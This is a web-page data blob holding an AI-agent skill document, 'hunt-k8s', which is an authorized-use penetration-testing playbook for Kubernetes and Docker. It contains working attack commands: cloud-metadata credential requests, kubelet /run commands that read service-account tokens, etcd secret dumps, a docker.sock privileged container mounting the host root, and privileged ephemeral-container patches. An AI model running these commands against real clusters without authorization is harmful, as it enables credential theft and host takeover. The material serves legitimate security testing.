[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7GAH5D83ZB180W7XTNFYT":3,"skill-same:01M6F7GAH5D83ZB180W7XTNFYT":80},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":48,"linkOnly":49,"markdownContent":50,"markdownBody":51,"frontMatter":52,"refName":29,"commitSha":60,"skillDirectory":61,"forksCount":62,"repositoryHtmlUrl":63,"repositoryHomepageUrl":6,"ownerHtmlUrl":64,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":65,"install":66,"resources":79},"01M6F7GAH5D83ZB180W7XTNFYT","hunt-k8s",null,"Hunt Kubernetes & Docker","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-k8s\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47],"hunt k8s","hunt","k8s","main","2026","for","relevant","helper","offensive","scripts","scope","commands","testing","community","only","Tools","cve","license","database","security","kubernetes","docker","2026-11-10 10:12:30",false,"---\nname: hunt-k8s\ndescription: Hunt Kubernetes & Docker\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, cve_database, kubernetes_security_research, portswigger_research\nreport_count: 13\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-K8S — Kubernetes & Docker Security\n\n## Crown Jewel Targets\n\nK8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `\u002Frun` shell pivots one finding to total compromise.\n\n**Highest-value findings:**\n- **K8s API anonymous cluster-admin** — `system:anonymous`\u002F`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).\n- **Kubelet `10250` exec\u002Frun** — `\u002Frun` returns command output directly; `\u002Fexec` is a SPDY\u002FWebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.\n- **API-server-mediated kubelet RCE** — `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes\u002Fproxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.\n- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.\n- **docker.sock exposure** — a socket-capable SSRF\u002FRCE primitive reaching `\u002Fvar\u002Frun\u002Fdocker.sock` → may create containers under the daemon’s authority; rootless\u002Fuser-namespace\u002Fadmission controls affect host impact.\n- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`\u002F`process.cwd` pointing at a leaked `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` host FD → break out of an attacker-controlled image\u002Fexec to host root.\n- **SA token abuse** — auto-mounted token at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken`; check its real grants with SelfSubjectRulesReview before claiming impact.\n- **K8s Dashboard skip-login \u002F token-less API** — full cluster management UI reachable unauthenticated.\n\n---\n\n## OOB \u002F Confirmation Gate (Read First)\n\nK8s findings are RCE\u002Fcredential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**\n\n- A `200` on `\u002Fapi\u002Fv1\u002Fnamespaces` does **not** mean cluster-admin. The API server returns `200` with an authorized full list (possibly empty because no resources exist); Kubernetes RBAC does not filter list results per object to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview \u002F SelfSubjectAccessReview**, then by accessing a pre-approved synthetic canary resource, without extracting production secrets.\n- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `\u002Fpods`, `\u002Fstats`, `\u002Fmetrics`, NO exec\u002Frun. 10250 (HTTPS) is where `\u002Frun` and `\u002Fexec` live. Do not report \"kubelet RCE\" off a 10255 hit.\n- **Blind\u002Foutbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator \u002F interactsh subdomain (e.g. `curl http:\u002F\u002F\u003Ctoken>.\u003Ccollab>` from inside the pod via `\u002Frun`). A delayed response or an echoed URL is NOT proof.\n- **Impact proof = the artifact.** For exec: the literal `id`\u002F`hostname` output. For etcd\u002FSecret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`\u002Fetc\u002Fhostname` of the node, distinct from the container's).\n- Use a **dedicated test namespace \u002F test pod** when you have create rights; never exec into production workloads to \"prove\" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common Kubernetes \u002F container ports\nPORTS=\"443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010\"\nnmap -sV -p $PORTS $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# API server fingerprint — the \u002Fversion endpoint is anonymous on most clusters\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fversion\"        # {\"major\":\"1\",\"minor\":\"29\",\"gitVersion\":\"v1.29.x\"...}\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fapi\"             # APIVersions list, even pre-auth\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fhealthz\"\n\n# Cloud metadata pivot (reach K8s SA \u002F node creds from an SSRF foothold)\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" # AWS EKS (IMDSv1)\nTOK=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\") # IMDSv2\ncurl -s -H \"X-aws-ec2-metadata-token: $TOK\" \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\" -H \"Metadata: true\"      # Azure AKS\ncurl -s \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" -H \"Metadata-Flavor: Google\" # GKE\n```\nNote the `gitVersion` — it gates every CVE below.\n\n---\n\n## Phase 2 — Kubernetes API Anonymous \u002F Low-Priv Access\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"\n\n# 1. What am I? (anonymous → \"system:anonymous\")\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthentication.k8s.io\u002Fv1\u002Fselfsubjectreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"apiVersion\":\"authentication.k8s.io\u002Fv1\",\"kind\":\"SelfSubjectReview\"}'\n\n# 2. What can I actually DO? (the only honest privilege check)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io\u002Fv1\",\"spec\":{\"namespace\":\"default\"}}'\n\n# 3. Check one exact approved action and namespace; resource and subresource\n# are separate fields. Do not test \"create secrets\" as proof of secret-read access.\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectaccessreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectAccessReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"resourceAttributes\\\":{\\\"namespace\\\":\\\"$NS\\\",\\\"verb\\\":\\\"get\\\",\\\"resource\\\":\\\"secrets\\\",\\\"name\\\":\\\"$TEST_SECRET\\\"}}}\"\n# For exec use resource=pods, subresource=exec, verb=create; for node proxy\n# check the exact HTTP-mapped verb, resource=nodes, subresource=proxy.\n\n# 4. Only if access review says allowed — read only a designated synthetic test Secret to demonstrate the approved boundary\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\u002F$TEST_SECRET\" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"items\",[])),\"secrets\")'\n# decode one value (redact before reporting):\n# echo '\u003Cbase64>' | base64 -d\n```\n\n**CVE-2018-1002105** (`gitVersion` \u003C v1.10.11\u002F1.11.5\u002F1.12.3): API-server proxy upgrade flaw lets an unauthenticated\u002Flow-priv user escalate to backend (kubelet\u002Faggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.\n\n---\n\n## Phase 3 — Kubelet (Port 10250) — `\u002Frun` First, `\u002Fexec` Done Right\n\nThe earlier version of this skill sent `\u002Fexec` as a plain `POST` and expected `id` output back. **That is wrong.** `\u002Fexec` is a SPDY\u002FWebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `\u002Fcri\u002Fexec\u002F\u003Ctoken>`) that you then must read with a SPDY\u002FWebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:10250\"\n\n# Enumerate pods (auth varies; many kubelets allow anonymous read here)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull \\\n  | grep -E '\"namespace\"|\"name\"|\"containerName\"' | head -40\n\nNS=default; POD=target-pod; CTR=app\n\n# --- PRIMITIVE A: \u002Frun — returns command output DIRECTLY (no stream handling) ---\n# This is the simple correct primitive. Use this first.\ncurl -sS --cacert \"$K8S_CA\" -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\ncurl -sS --cacert \"$K8S_CA\" -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\"\n\n# --- PRIMITIVE B: \u002Fexec — SPDY\u002FWebSocket stream, NOT a plain POST ---\n# Option 1: kubeletctl handles the stream transport for you (recommended)\n#   kubeletctl --server $TARGET exec \"id\" -p $POD -c $CTR -n $NS\n#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod\n# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then\n#   read it with a SPDY3.1\u002FWebSocket client (wscat \u002F websocat), e.g.:\n#   curl -sS --cacert \"$K8S_CA\" -i -X POST \"$SRV\u002Fexec\u002F$NS\u002F$POD\u002F$CTR?command=id&input=1&output=1&tty=0\"   # shows 302 Location\n#   websocat -k \"wss:\u002F\u002F$TARGET:10250\u002Fcri\u002Fexec\u002F\u003Ctoken-from-Location>\"\n\n# Container logs (read-only, no stream)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002FcontainerLogs\u002F$NS\u002F$POD\u002F$CTR\"\n\n# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec\u002Frun. Do not call this \"RCE\".\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fmetrics\" | head\n```\n\n**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods\u002Fadjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet\u002Fetcd that were assumed loopback-only.\n\n---\n\n## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes\u002Fproxy`)\n\nWhen 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes\u002Fproxy`, route exec **through the API server**:\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"; H=\"-H \\\"Authorization: Bearer $TOKEN\\\"\"\nNODE=$(curl -sS --cacert \"$K8S_CA\" -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\" | grep -o '\"name\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n\n# \u002Frun via the node proxy → output comes straight back\ncurl -sS --cacert \"$K8S_CA\" -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\n\n# enumerate every pod on a node via the proxy\ncurl -sS --cacert \"$K8S_CA\" -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Fpods\"\n```\n`nodes\u002Fproxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host\u002FIP it could reach (proxy-to-internal SSRF \u002F node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.\n\n---\n\n## Phase 4b — Ingress-NGINX \"IngressNightmare\" (CVE-2025-1974)\nAn unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service-account grants determine downstream impact. Fingerprint controller version (`\u002Fhealthz`, pod image tag) and map to \u003C1.11.5 \u002F \u003C1.12.1. (CVE-2025-1974 with CVE-2025-1097\u002F1098\u002F24513\u002F24514.)\n\n## Phase 5 — etcd Unauth (Port 2379)\n\n```bash\n# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 get \u002F --prefix --keys-only 2>\u002Fdev\u002Fnull | head -50\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 \\\n  get \u002Fregistry\u002Fsecrets --prefix 2>\u002Fdev\u002Fnull | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40\n\n# HTTP\u002FJSON gateway (key\u002Frange are base64; \"Lw==\" == \"\u002F\")\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv3\u002Fkv\u002Frange\" -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"key\":\"L3JlZ2lzdHJ5L3NlY3JldHM=\",\"range_end\":\"L3JlZ2lzdHJ5L3NlY3JldHQ=\",\"limit\":20}' | python3 -m json.tool\n\n# v2 (older clusters)\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv2\u002Fkeys\u002F?recursive=true\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\n```\nA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`\u002F`get` with key data is.\n\n---\n\n## Phase 6 — Service Account Token Abuse (Bound \u002F Projected Tokens)\n\n```bash\n# From RCE\u002FLFI inside a pod:\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPI=\"https:\u002F\u002Fkubernetes.default.svc\"\n\n# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.\necho \"$TOKEN\" | cut -d. -f2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | python3 -m json.tool \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n# Look at: \"aud\" (must match the API server audience to be accepted),\n#          \"exp\" (projected token lifetime is configurable — a captured token may already be dead),\n#          \"kubernetes.io\u002Fserviceaccount\" (pod\u002Fnode binding — token dies with the pod).\n# If aud is e.g. [\"vault\"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.\n\n# Honest privilege check, then prove with a real read\ncurl -sS --cacert \"$K8S_CA\" \"$API\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectRulesReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"namespace\\\":\\\"$NS\\\"}}\"\ncurl -sS --cacert \"$K8S_CA\" \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\" -H \"Authorization: Bearer $TOKEN\"\n```\n\n**EphemeralContainers node-shell escalation:** ephemeral-container permission alone does not grant host namespaces or privileged admission; a node-debug pod is a separate operation with its own RBAC\u002Fadmission requirements:\n```bash\nkubectl debug node\u002F\"$NODE\" -it --image=\"APPROVED_PINNED_DEBUG_IMAGE\" # creates a debug pod; separate create\u002Fadmission privileges required\n# or patch an ephemeral container with hostPID\u002Fprivileged via the API:\ncurl -sS --cacert \"$K8S_CA\" -X PATCH \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fpods\u002F$POD\u002Fephemeralcontainers\" \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fstrategic-merge-patch+json' \\\n  -d '{\"spec\":{\"ephemeralContainers\":[{\"name\":\"x\",\"image\":\"busybox\",\"command\":[\"sleep\",\"1d\"],\"securityContext\":{\"privileged\":true}}]}}'\n```\n\n---\n\n## Phase 7 — Docker Socket Exposure & runc Container Escape\n\n```bash\n# docker.sock reachable (SSRF unix:\u002F\u002F, a socket-capable request primitive (ordinary file reads cannot speak the Docker API), or RCE on host)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Finfo\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fjson\n\n# Privileged container bind-mounting host root → read\u002Fwrite host fs (host escape)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -H 'Content-Type: application\u002Fjson' \\\n  -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fcreate?name=poc \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"cat\",\"\u002Fhost\u002Fetc\u002Fhostname\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}'\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Fstart\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \"http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Flogs?stdout=1\"\n# Impact proof = the NODE's \u002Fetc\u002Fhostname (differs from the container's hostname).\n```\n\n**Container-escape CVEs (gate on runc\u002Fversion):**\n- **CVE-2024-21626 — \"Leaky Vessels\" (runc ≤ 1.1.11):** a leaked host file descriptor via `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` lets a malicious image (`WORKDIR \u002Fproc\u002Fself\u002Ffd\u002FN`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build\u002Fregistry surface where you can influence the Dockerfile.\n- **CVE-2019-5736 (runc):** overwrite the host `\u002Fproc\u002Fself\u002Fexe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.\n- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.\n\n---\n\n## Phase 8 — Dashboard, Admission, Helm\u002FTiller Remnants\n\n```bash\n# Kubernetes Dashboard — correct API base is \u002Fapi\u002Fv1\u002F... UNDER the dashboard service.\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002F\" | grep -i \"kubernetes dashboard\"\n# token-less probe (skip-login or anonymous-bound dashboard SA):\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fsecret\u002Fdefault\"            # secrets list view\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fpod\u002Fdefault\"               # pods list view\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fnamespace\"                 # namespaces\n# (paths are \u003Cresource> not \u003Cresource>\u002F\u003Cid>; a 200 with real items = unauth dashboard data access)\n\n# Helm 2 \u002F Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA\nnmap -p 44134 -sV $TARGET\n# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install\u002Fdelete any release\n\n# Validating\u002FMutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fadmissionregistration.k8s.io\u002Fv1\u002Fvalidatingwebhookconfigurations\" -H \"Authorization: Bearer $TOKEN\"\n# A webhook clientConfig.url pointing at an external\u002Fattacker-influenced host = SSRF\u002Fbypass surface.\n```\n\n---\n\n## Chain Table\n\n| K8s finding | Chain to | Impact |\n|-------------|----------|--------|\n| API anon **with confirmed canary secret read** | assess exact resource\u002Fcredential grants | Impact depends on exposed data and privileges |\n| `nodes\u002Fproxy` token | API-server-mediated `\u002Frun` → pod RCE → SA token | Node-wide RCE → escalation |\n| Kubelet 10250 `\u002Frun` | exec in any pod → steal SA token → API | Cluster privilege escalation |\n| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |\n| docker.sock | privileged container + host bind-mount | Host root |\n| CVE-2024-21626 (runc) | malicious image\u002Fexec → host FD escape | Container → host root |\n| EphemeralContainers \u002F pods create | privileged\u002FhostPID debug container | Pod → node escape |\n| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |\n| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |\n\n---\n\n## False-Positive Killers\n\n- **Anon `200` ≠ cluster-admin.** A permitted list can be empty because no objects exist; RBAC does not silently filter a list per object. Require SelfSubjectRulesReview to show the verbs, then an approved canary-resource access check.\n- **10255 ≠ 10250.** Read-only kubelet has no exec\u002Frun. \"Kubelet RCE\" must come from a `\u002Frun` output or a completed `\u002Fexec` stream on 10250.\n- **`\u002Fexec` plain-POST returns 302, not output.** Seeing no body is NOT \"patched\" — follow the stream (kubeletctl\u002Fwebsocat) before concluding either way.\n- **Projected\u002Fbound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault\u002FOIDC-audience token will not authenticate to the API server.\n- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, only resources covered by an effective encryption provider configuration are encrypted; identity providers, migration and historical data must be checked — don't claim \"plaintext secrets\" without showing decoded bytes.\n- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) \u002F runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.\n- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `\u002Fapi\u002Fv1\u002F\u003Cresource>\u002F\u003Cns>` proves token-less data access.\n\n---\n\n## Validation Checklist\n\n- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND an approved synthetic canary Secret was read (redacted).\n- [ ] **Kubelet:** literal `id`\u002F`hostname` output returned from 10250 `\u002Frun`, or a completed `\u002Fexec` stream — not a bare 302.\n- [ ] **nodes\u002Fproxy RCE:** command output returned through `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` with your token.\n- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.\n- [ ] **docker.sock \u002F escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.\n- [ ] **SA token:** `aud`\u002F`exp` decoded and shown valid; impact bounded to its real RBAC.\n- [ ] **OOB:** any outbound\u002FSSRF hop confirmed via Collaborator\u002Finteractsh subdomain.\n\n**Severity:**\n- API anon→secret read, kubelet\u002Fnodes-proxy RCE, etcd dump, docker.sock\u002Frunc escape, CVE-2018-1002105: **Critical**\n- Dashboard token-less data access, exposed Tiller: **High**\n- Read-only kubelet 10255, anon `\u002Fversion`\u002F`\u002Fpods` info disclosure: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n\n## Scope, transport and interpretation limits\n\nSet the approved API\u002Fnode origin, namespace, synthetic canary name and cluster CA explicitly; do not infer scope from an environment variable or follow out-of-scope redirects. Add bounded connection\u002Fread times to sketches before use. The credential-dump, metadata-token, broad etcd-prefix, privileged-container and host-write examples are escalation actions requiring separately explicit engagement approval; prefer access reviews and controlled canaries, and stop at the agreed proof. SelfSubjectRulesReview may be incomplete and is namespace scoped; SelfSubjectAccessReview evaluates one exact request and does not establish cluster-admin. Node proxy grants are powerful but depend on verb, node identity, admission and kubelet runtime\u002Fconfiguration; `\u002Frun` and stream responses are version-specific, not universally guaranteed 302\u002Foutput. Pod-create\u002Fephemeral permissions do not automatically bypass Pod Security or grant host root. Docker rootless\u002Fuser namespaces and runtime mitigations change escape impact. CVE\u002Fversion\u002Fbanner matches are leads, not verified exploitation. A successful synthetic Secret read is a disclosure finding, not proof of every credential or full cluster takeover. Keep tokens\u002Fheaders\u002Fprivate data out of console and reports, use minimum data, clean up approved test resources, and never download or execute public exploit code as an implicit next step.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-K8S — Kubernetes & Docker Security\n\n## Crown Jewel Targets\n\nK8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `\u002Frun` shell pivots one finding to total compromise.\n\n**Highest-value findings:**\n- **K8s API anonymous cluster-admin** — `system:anonymous`\u002F`system:unauthenticated` 